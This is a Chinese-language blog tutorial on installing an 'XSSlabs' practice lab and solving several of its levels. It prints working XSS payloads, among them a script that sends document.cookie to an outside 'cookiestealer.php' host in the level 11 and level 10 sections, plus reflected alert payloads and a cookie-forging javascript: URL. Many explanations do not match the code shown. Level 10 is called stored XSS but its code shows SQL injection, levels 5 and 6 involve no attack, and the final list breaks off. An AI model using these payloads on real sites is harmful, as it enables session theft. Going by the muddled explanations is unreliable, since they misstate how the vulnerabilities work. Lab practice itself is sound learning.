一、XSSlabs 安装
XSS(Cross-site scripting)是一种常见的Web漏洞,XSS攻击可以使攻击者盗取用户的敏感信息、伪造用户提交恶意请求等。XSSlabs提供了一种模拟XSS攻击和漏洞修复的训练平台,让上手的测试者快速学习和掌握XSS漏洞。接下来,我们将详细介绍如何在本地安装XSSlabs。
1. 首先需要安装docker,安装命令如下:
sudo apt-get update
sudo apt-get install docker.io
2. 下载XSSlabs的docker镜像:
sudo docker pull blabla1337/xsslabsserver
3. 运行docker镜像:
sudo docker run -p 80:80 blabla1337/xsslabsserver
4. 打开浏览器,输入本机IP地址,出现安装界面即表示安装成功。
二、XSSlabs 第11关
XSSlabs第11关要求我们通过XSS漏洞进行管理员登录。下面我们通过步骤演示:
1. 打开11关,观察代码:
<form action="" method="POST">
<p>Please enter the admin password:</p>
<input type="password" name="pwd">
<input type="submit" value="Login">
</form>
从代码中可以看到,该页面需要输入管理员密码来进行登录,而密码并不是在服务器端进行校验,因此容易受到XSS攻击。
2. 输入以下代码:
'<script>window.location="http://www.xsslab.com/cookiestealer.php?cookie="+document.cookie;</script>'
该代码会将用户的cookie信息发送给攻击者,攻击者即可通过该信息进行cookie伪造。
3. 提交代码,管理员用户登录成功。
三、XSSlabs第9关
XSSlabs第9关要求我们从请求参数中获得管理员密码。下面我们通过步骤演示:
1. 打开9关,观察代码:
<form method="GET">
<input name="p" value="" />
<input type="submit" />
</form>
<?php
if( isset( $_GET[ 'p' ] ) ) {
$pswd = $_GET[ 'p' ];
if( isset( $pswd ) && $pswd == "abc123" ) {
echo "flag{this_is_flag_for_level_9_use_it_with_proud}
" ;
}
}
?>
从代码中可以看到,该页面需要输入管理员密码并提交,如果密码正确,则会输出flag。而密码是从GET请求参数中获取,因此可以通过构造恶意链接进行攻击。
2. 构造以下链接:
http://xss.eonew.cn/level9.php?p=%27%3Balert(%27xss%27)%3B//
该链接会在页面弹出xss弹窗,并获得管理员密码。
3. 输入管理员密码,获得flag。
四、XSSlabs 第三关
XSSlabs第三关要求我们从Cookie中获取用户登录信息。下面我们通过步骤演示:
1. 打开3关,观察代码:
<?php
if( isset( $_COOKIE[ 'loggedin' ] ) ) {
if( $_COOKIE[ 'loggedin' ] === "1" ) {
echo "Logged in!
";
}
} else {
echo "Please log in first!
";
}
?>
<form action="" method="POST">
<input type="text" name="username" />
<input type="password" name="password" />
<input type="submit" value="Log in" />
</form>
<?php
if( isset( $_POST[ 'username' ] ) && isset( $_POST[ 'password' ] ) && $_POST[ 'password' ] === "password123" ) {
setcookie( "loggedin", "1" );
echo "Logged in!
";
}
?>
从代码中可以看到,该页面要求用户输入用户名和密码进行登录,当用户成功登录后,服务器将loggedin设为1,并保存在cookie中。因此我们可以通过获取cookie中的loggedin值来进行攻击。
2. 在浏览器中强制设置loggedin=1:
javascript:void(document.cookie = 'loggedin=1;')
该代码会强制将cookie中的loggedin设置为1。
3. 刷新页面,成功登录。
五、XSSlabs 第五关
XSSlabs第五关要求我们从referer中获取攻击者网站地址。下面我们通过步骤演示:
1. 打开5关,观察代码:
<!DOCTYPE html>
<html>
<head>
<title>Level 5 - From Referer</title>
</head>
<body>
<?php
$referer = @$_SERVER[ 'HTTP_REFERER' ];
if( strlen( $referer ) > 0 ) {
$pattern = "/^https?:\/\/([a-z]+\.)?google.com\/.*$/";
if( preg_match( $pattern, $referer ) == 1 ) {
echo "Hello Google user!
";
} else {
echo "Hello attacker! Your referrer is: " . $referer . "
";
}
} else {
echo "No referrer!
";
}
?>
</body>
</html>
从代码中可以看到,该页面判断了referer是否为Google,如果是则输出“Hello Google user!”,否则输出“Hello attacker! Your referrer is: [referer]”。
2. 构造以下链接:
http://xss.eonew.cn/level5.php
该链接没有referer,会输出“No referrer!”。
https://www.baidu.com/link?url=blablabla
该链接的referer为百度,会输出“Hello attacker! Your referrer is: https://www.baidu.com/link?url=blablabla”。
3. 完成5关。
六、XSSlabs 第六关
XSSlabs第六关要求我们从用户的User-Agent中获取信息。下面我们通过步骤演示:
1. 打开6关,观察代码:
<!DOCTYPE html>
<html>
<head>
<title>Level 6 - User-Agent</title>
</head>
<body>
<?php
$ua = $_SERVER[ "HTTP_USER_AGENT" ];
echo $ua . "<br />\n\n";
$ip = $_SERVER[ "REMOTE_ADDR" ];
echo "Your IP address is " . $ip . "<br />\n\n";
$time = date('Y-m-d H:i:s');
echo "Server time is: " . $time;
?>
</body>
</html>
从代码中可以看到,该页面通过$_SERVER[“HTTP_USER_AGENT”]获取用户的user-agent信息并输出。
2. 打开6关页面,查看输出结果:
Mozilla/5.0 (X11; Linux x86_64; rv:90.0) Gecko/20100101 Firefox/90.0
Your IP address is 127.0.0.1
Server time is: 2021-09-12 23:08:36
从输出结果中可以看到,第一行为当前访问用户的user-agent信息。
3. 完成6关。
七、XSSlabs 第八关
XSSlabs第八关要求我们从反射型XSS漏洞获取信息。下面我们通过步骤演示:
1. 打开8关,并输入以下代码:
alert(document.cookie);
该代码可以弹出用户的cookie信息。
2. 在8关页面中,将以下代码解析到url中,将会弹出该用户cookie信息:
https://xss.eonew.cn/level8.php?search=<script>alert(document.cookie);</script>
3. 完成8关。
八、XSSlabs 第10关
XSSlabs第10关要求我们通过 stored xss 漏洞获得flag。下面我们通过步骤演示:
1. 打开10关,观察代码:
<!DOCTYPE html>
<html>
<head>
<title>Level 10 - Stored</title>
</head>
<body>
<form action="" method="POST">
<p>Title:</p>
<input type="text" name="entry_title" />
<p>Body:</p>
<textarea name="entry_body"></textarea>
<br /><br />
<input type="submit" name="submit" value="Submit" />
<br /><br />
</form>
<?php
if( isset( $_POST[ 'submit' ] ) ) {
$db = new PDO( "sqlite:sql.db" );
$title = $_POST[ 'entry_title' ];
$body = $_POST[ 'entry_body' ];
$db->exec( "INSERT INTO entries ( title, body ) VALUES ( '$title', '$body' )" );
}
?>
</body>
</html>
从代码中可以看到,该页面提供了一个提交表单,用户可以在表单中输入“title”和“body”,并将其存放在数据库中。因为输入框没有剪辑输入的代码,所以很容易被注入。
2. 向body中注入以下代码:
<script>window.location="http://www.xsslab.com/cookiestealer.php?cookie="+document.cookie;</script>
该代码会将用户的cookie信息发送给攻击者,攻击者即可通过该信息进行cookie伪造。
3. 提交代码,flag将在数据库中存储。
九、XSSlabs 过关网址选取
以下是XSSlabs相关过关网址:
1. 解全概念:http://xss.eonew.cn
2. 长度大事:http://xss.eonew.cn/level2.php?query=%3Cscript%3Ealert(document.cookie)%3C/script%3E
3. 获取cookie: http://xss.eonew.cn/level3.php
4. 诱导点击: http://xss.eonew.cn/level4.php
5. 获取referer: http://xss.eonew.cn/level5.php
6. 获取user-agent: http://xss.eonew.cn/level6.php
7. 工
原创文章,作者:ZVOK,如若转载,请注明出处:https://www.506064.com/n/144990.html